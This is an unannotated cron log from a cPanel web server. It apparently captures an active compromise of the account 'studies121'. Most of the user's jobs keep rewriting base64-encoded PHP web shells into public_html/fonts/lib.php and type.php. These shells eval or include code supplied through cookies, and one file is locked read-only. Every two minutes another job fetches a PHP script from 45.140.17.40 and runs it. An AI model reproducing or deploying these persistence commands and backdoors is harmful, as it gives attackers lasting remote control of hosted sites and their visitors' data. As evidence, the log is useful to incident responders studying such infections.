Sep  5 01:55:01 ip-184-168-122-23 CROND[21329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:55:01 ip-184-168-122-23 CROND[21330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:55:01 ip-184-168-122-23 CROND[21327]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 01:56:01 ip-184-168-122-23 CROND[21424]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:56:01 ip-184-168-122-23 CROND[21427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:56:01 ip-184-168-122-23 CROND[21428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:56:01 ip-184-168-122-23 CROND[21429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:56:01 ip-184-168-122-23 CROND[21426]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:57:01 ip-184-168-122-23 CROND[21508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:57:01 ip-184-168-122-23 CROND[21509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:57:01 ip-184-168-122-23 CROND[21510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:57:01 ip-184-168-122-23 CROND[21512]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:58:01 ip-184-168-122-23 CROND[21697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:58:01 ip-184-168-122-23 CROND[21698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:58:01 ip-184-168-122-23 CROND[21699]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:58:01 ip-184-168-122-23 CROND[21701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:58:01 ip-184-168-122-23 CROND[21702]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:59:01 ip-184-168-122-23 CROND[21800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:59:01 ip-184-168-122-23 CROND[21803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:59:01 ip-184-168-122-23 CROND[21801]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:59:01 ip-184-168-122-23 CROND[21802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:00:02 ip-184-168-122-23 CROND[21923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:00:02 ip-184-168-122-23 CROND[21927]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 02:00:02 ip-184-168-122-23 CROND[21924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:00:02 ip-184-168-122-23 CROND[21925]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 02:00:02 ip-184-168-122-23 CROND[21929]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:00:02 ip-184-168-122-23 CROND[21926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:00:02 ip-184-168-122-23 CROND[21931]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:00:02 ip-184-168-122-23 CROND[21932]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  5 02:00:02 ip-184-168-122-23 CROND[21930]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 02:00:02 ip-184-168-122-23 CROND[21933]: (root) CMD (/usr/local/cpanel/bin/backup)
Sep  5 02:01:01 ip-184-168-122-23 CROND[22034]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 02:01:01 ip-184-168-122-23 CROND[22035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:01:01 ip-184-168-122-23 CROND[22037]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:01:01 ip-184-168-122-23 CROND[22036]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 02:01:01 ip-184-168-122-23 CROND[22038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:01:01 ip-184-168-122-23 CROND[22039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[22034]: starting 0anacron
Sep  5 02:01:01 ip-184-168-122-23 anacron[22055]: Anacron started on 2026-09-05
Sep  5 02:01:01 ip-184-168-122-23 anacron[22055]: Normal exit (0 jobs run)
Sep  5 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[22057]: finished 0anacron
Sep  5 02:02:01 ip-184-168-122-23 CROND[22162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:02:01 ip-184-168-122-23 CROND[22163]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:02:01 ip-184-168-122-23 CROND[22161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:02:01 ip-184-168-122-23 CROND[22165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:02:01 ip-184-168-122-23 CROND[22164]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:03:01 ip-184-168-122-23 CROND[22340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:03:01 ip-184-168-122-23 CROND[22338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:03:01 ip-184-168-122-23 CROND[22339]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:03:01 ip-184-168-122-23 CROND[22341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:04:01 ip-184-168-122-23 CROND[22418]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:04:01 ip-184-168-122-23 CROND[22420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:04:01 ip-184-168-122-23 CROND[22423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:04:01 ip-184-168-122-23 CROND[22421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:04:01 ip-184-168-122-23 CROND[22422]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:05:01 ip-184-168-122-23 CROND[22523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:05:01 ip-184-168-122-23 CROND[22526]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 02:05:01 ip-184-168-122-23 CROND[22527]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 02:05:01 ip-184-168-122-23 CROND[22525]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 02:05:01 ip-184-168-122-23 CROND[22530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:05:01 ip-184-168-122-23 CROND[22529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:05:01 ip-184-168-122-23 CROND[22531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:06:01 ip-184-168-122-23 CROND[22634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:06:01 ip-184-168-122-23 CROND[22635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:06:01 ip-184-168-122-23 CROND[22638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:06:01 ip-184-168-122-23 CROND[22637]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:06:01 ip-184-168-122-23 CROND[22639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:07:01 ip-184-168-122-23 CROND[22751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:07:01 ip-184-168-122-23 CROND[22752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
